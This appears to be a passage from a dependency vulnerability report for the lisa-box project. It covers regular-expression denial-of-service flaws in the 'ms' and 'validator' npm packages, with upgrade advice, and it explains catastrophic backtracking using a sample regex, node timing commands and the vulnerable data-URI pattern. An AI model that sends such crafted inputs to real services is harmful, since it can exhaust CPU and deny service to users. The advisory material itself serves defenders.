  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade ms to version 2.0.0 or higher.

References

low severity

Regular Expression Denial of Service (ReDoS)

  • Vulnerable module: validator
  • Introduced through: trailpack-sequelize@2.0.0

Detailed paths

  • Introduced through: lisa-box@mylisabox/lisa-box trailpack-sequelize@2.0.0 sequelize@3.35.1 validator@5.7.0
    Remediation: Upgrade to trailpack-sequelize@2.0.2.

Overview

validator is a library of string validators and sanitizers.

Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). It used a regular expression (^\s*data:([a-z]+\/[a-z0-9\-\+]+(;[a-z\-]+=[a-z0-9\-]+)?)?(;base64)?,[a-z0-9!\$&',\(\)\*\+,;=\-\._~:@\/\?%\s]*\s*$) in order to validate Data URIs. This can cause an impact of about 10 seconds matching time for data 70K characters long.

Disclosure Timeline

  • Feb 15th, 2018 - Initial Disclosure to package owner
  • Feb 16th, 2018 - Initial Response from package owner
  • Feb 18th, 2018 - Fix issued
  • Feb 18th, 2018 - Vulnerability published

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.

The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.

Let’s take the following regular expression as an example:

regex = /A(B|C+)+D/

This regular expression accomplishes the following:

  • A The string must start with the letter 'A'
  • (B|C+)+ The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the + matches one or more times). The + at the end of this section states that we can look for one or more matches of this section.
  • D Finally, we ensure this section of the string ends with a 'D'

The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD

It most cases, it doesn't take very long for a regex engine to find a match:

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total

$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total

The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.

Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.

Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:

  1. CCC
  2. CC+C
  3. C+CC
  4. C+C+C.

The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.

From there, the number of steps the engine must use to validate a string just continues to grow.

String Number of C's Number of steps
ACCCX 3 38
ACCCCX 4 71
ACCCCCX 5 136
ACCCCCCCCCCCCCCX 14 65,553

By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.

Remediation

Upgrade validator to version 9.4.1 or higher.

References